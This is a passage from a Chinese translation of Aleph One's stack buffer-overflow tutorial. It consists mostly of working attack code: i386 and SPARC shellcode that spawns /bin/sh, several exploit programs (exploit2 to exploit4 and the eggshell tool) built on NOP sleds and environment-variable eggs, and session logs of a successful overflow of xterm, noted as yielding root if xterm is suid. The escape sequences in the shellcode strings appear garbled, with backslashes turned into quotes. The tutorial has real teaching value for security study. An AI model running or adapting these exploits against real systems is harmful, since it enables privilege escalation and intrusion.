地址和空字, 我们有如下的代码:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到
哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就
是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切
地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.
当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是
把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了. 假定J代
表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:
内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
堆栈顶部 堆栈底部
运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的
偏量, 我们得到:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string ""/bin/sh"" # 8 bytes
------------------------------------------------------------------------------
这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题.
我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们
必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数
据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb
来取得二进制代码.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string ""/bin/sh"" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
""xeb"x2a"x5e"x89"x76"x08"xc6"x46"x07"x00"xc7"x46"x0c"x00"x00"x00"
""x00"xb8"x0b"x00"x00"x00"x89"xf3"x8d"x4e"x08"x8d"x56"x0c"xcd"x80"
""xb8"x01"x00"x00"x00"xbb"x00"x00"x00"x00"xcd"x80"xe8"xd1"xff"xff"
""xff"x2f"x62"x69"x6e"x2f"x73"x68"x00"x89"xec"x5d"xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出.
那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为
止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节,
同时把代码精简一点.
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Our improved code:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string ""/bin/sh"" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
And our new test program:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
""xeb"x1f"x5e"x89"x76"x08"x31"xc0"x88"x46"x07"x89"x46"x0c"xb0"x0b"
""x89"xf3"x8d"x4e"x08"x8d"x56"x0c"xcd"x80"x31"xdb"x89"xd8"x40"xcd"
""x80"xe8"xdc"xff"xff"xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
破解实战
~~~~~~~~~~
现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被
溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
""xeb"x1f"x5e"x89"x76"x08"x31"xc0"x88"x46"x07"x89"x46"x0c"xb0"x0b"
""x89"xf3"x8d"x4e"x08"x8d"x56"x0c"xcd"x80"x31"xdb"x89"xd8"x40"xcd"
""x80"xe8"xdc"xff"xff"xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在
buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任
何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址
就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我
们的shellcode中, 得到一个shell.
我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个
缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址
都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈
的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出
它的堆栈指针:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x"n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假定我们要使其溢出的程序如下:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起
的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符
串放到一个环境变量中, 这样就容易操作一些.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
""xeb"x1f"x5e"x89"x76"x08"x31"xc0"x88"x46"x07"x89"x46"x0c"xb0"x0b"
""x89"xf3"x8d"x4e"x08"x8d"x56"x0c"xcd"x80"x31"xdb"x89"xd8"x40"xcd"
""x80"xe8"xdc"xff"xff"xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory."n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x"n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '"0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
现在我们尝试猜测缓冲区的大小和偏移量:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝
试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题
的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们
也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填
充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来
填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够
幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的
shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样:
内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
堆栈顶端 堆栈底部
新的破解程序如下:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
""xeb"x1f"x5e"x89"x76"x08"x31"xc0"x88"x46"x07"x89"x46"x0c"xb0"x0b"
""x89"xf3"x8d"x4e"x08"x8d"x56"x0c"xcd"x80"x31"xdb"x89"xd8"x40"xcd"
""x80"xe8"xdc"xff"xff"xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory."n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x"n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '"0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
我们所使用的缓冲区大小最好比要使其溢出的缓冲区大100字节左右. 我们在要使其
溢出的缓冲区尾部放置shellcode, 为NOP指令留下足够的空间, 仍然使用我们推测的地址
来覆盖返回地址. 这里我们要使其溢出的缓冲区大小是512字节, 所以我们使用612字节.
现在使用新的破解程序来使我们的测试程序溢出:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
哇!一击中的!这个改进成千倍地提高了我们的命中率. 下面在真实的环境中尝试一
下缓冲区溢出. 在Xt库上运用我们所讲述的方法. 在例子中, 我们使用xterm(实际上所有
连接Xt库的程序都有漏洞). 计算机上要运行X Server并且允许本地的连接. 还要相应设
置DISPLAY变量.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/shいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい
いいいいいいいいいいいいいいいいいいいいいいいいい¤
(此处截短多行输出)
いいいいいいいいいいい?いいいい
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/sh
¤
(此处截短多行输出)
縃arning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/sh鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗
鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗?
(此处截短多行输出)
縏鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸚arning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
尤里卡! 仅仅几次尝试我们就成功了!如果xterm是带suid root安装的, 我们就已经
得到了一个root shell了.
小缓冲区的溢出
~~~~~~~~~~~~~~~~
有时候想使其溢出的缓冲区太小了, 以至于shellcode都放不进去, 这样返回地址就
会被指令所覆盖, 而不是我们所推测的地址, 或者shellcode是放进去了, 但是没法填充
足够多的NOP指令, 这样推测地址的成功率就很低了. 要从这样的程序(小缓冲区)里得到
一个shell, 我们必须得想其他办法. 下面介绍的这种方法只在能够访问程序的环境变量
时有效.
我们所做的就是把shellcode放到环境变量中去, 然后用这个变量在内存中的地址来
使缓冲区溢出. 这种方法同时也提高了破解工作的成功率, 因为保存shellcode的环境变
量想要多大就有多大.
当程序开始时, 环境变量存储在堆栈的顶部, 任何使用setenv()的修改动作会在其他
地方重新分配空间. 开始时的堆栈如下所示:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
我们新的程序会使用一个额外的变量, 变量的大小能够容纳shellcode和NOP指令,
新的破解程序如下所示:
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
""xeb"x1f"x5e"x89"x76"x08"x31"xc0"x88"x46"x07"x89"x46"x0c"xb0"x0b"
""x89"xf3"x8d"x4e"x08"x8d"x56"x0c"xcd"x80"x31"xdb"x89"xd8"x40"xcd"
""x80"xe8"xdc"xff"xff"xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory."n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory."n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x"n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '"0';
egg[eggsize - 1] = '"0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
用这个新的破解程序来试试我们的漏洞测试程序:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
成功了, 再试试xterm:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
(此处截短多行输出)
挨挨挨
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
一次成功! 它显著提高了我们的成功率. 依赖于破解程序和被破解程序比较环境数据
的多少, 我们推测的地址可能高也可能低于真值. 正和负的偏移量都可以试一试.
寻找缓冲区溢出漏洞
~~~~~~~~~~~~~~~~~~~~~
如前所述, 缓冲区溢出是向一个缓冲区填充超过其处理能力的信息造成的结果. 由于C
语言没有任何内置的边界检查, 写入一个字符数组时, 如果超越了数组的结尾就会造成溢
出. 标准C语言库提供了一些没有边界检查的字符串复制或添加函数. 包括strcat(),
strcpy(), sprintf(), and vsprintf(). 这些函数对一个null结尾的字符串进行操作, 并
不检查溢出情况. gets()函数从标准输入中读取一行到缓冲区中, 直到换行或EOF. 它也不
检查缓冲区溢出. scanf()函数族在匹配一系列非空格字符(%s), 或从指定集合(%[])中匹
配非空系列字符时, 使用字符指针指向数组, 并且没有定义最大字段宽度这个可选项, 就
可能出现问题. 如果这些函数的目标地址是一个固定大小的缓冲区, 函数的另外参数是由
用户以某种形式输入, 则很有可能利用缓冲区溢出来破解它.
另一种常见的编程结构是使用while循环从标准输入或某个文件中一次读入一个字符到
缓冲区中, 直到行尾或文件结尾, 或者碰到别的什么终止符. 这种结构通常使用getc(),
fgetc(), 或getchar()函数中的某一个. 如果在while循环中没有明确的溢出检查, 这种程
序就很容易被破解.
由此可见, grep(1)是一个很好的工具命令(帮助你找到程序中可能有的漏洞). 自由操
作系统及其工具的源码是可读的. 当你意识到其实很多商业操作系统工具都和自由软件有
着相同的源码时, 剩下的事情就简单了! :-)
附录 A - 不同操作系统/体系结构的shellcode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string ""/bin/sh""
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
附录 B - 通用缓冲区溢出程序
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = ""x90";
char shellcode[] =
""xeb"x1f"x5e"x89"x76"x08"x31"xc0"x88"x46"x07"x89"x46"x0c"xb0"x0b"
""x89"xf3"x8d"x4e"x08"x8d"x56"x0c"xcd"x80"x31"xdb"x89"xd8"x40"xcd"
""x80"xe8"xdc"xff"xff"xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]=""xac"x15"xa1"x6e";
char shellcode[] =
""x2d"x0b"xd8"x9a"xac"x15"xa1"x6e"x2f"x0b"xdc"xda"x90"x0b"x80"x0e"
""x92"x03"xa0"x08"x94"x1a"x80"x0a"x9c"x03"xa0"x10"xec"x3b"xbf"xf0"
""xdc"x23"xbf"xf8"xc0"x23"xbf"xfc"x82"x10"x20"x3b"x91"xd0"x20"x08"
""x90"x1b"xc0"x0f"x82"x10"x20"x01"x91"xd0"x20"x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]=""xac"x15"xa1"x6e";
char shellcode[] =
""x2d"x0b"xd8"x9a"xac"x15"xa1"x6e"x2f"x0b"xdc"xda"x90"x0b"x80"x0e"
""x92"x03"xa0"x08"x94"x1a"x80"x0a"x9c"x03"xa0"x10"xec"x3b"xbf"xf0"
""xdc"x23"xbf"xf8"xc0"x23"xbf"xfc"x82"x10"x20"x3b"xaa"x10"x3f"xff"
""x91"xd5"x60"x01"x90"x1b"xc0"x0f"x82"x10"x20"x01"x91"xd5"x60"x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / [email][email protected][/email]
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg."n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory."n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory."n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:"t%d"t"tEgg size:"t%d"tAligment:"t%d"t]"n",
bsize, eggsize, align);
printf("[ Address:"t0x%x"tOffset:"t"t%d"t"t"t"t]"n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '"0';
egg[eggsize - 1] = '"0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offs
et>]"n");
}
------------------------------------------------------------------------------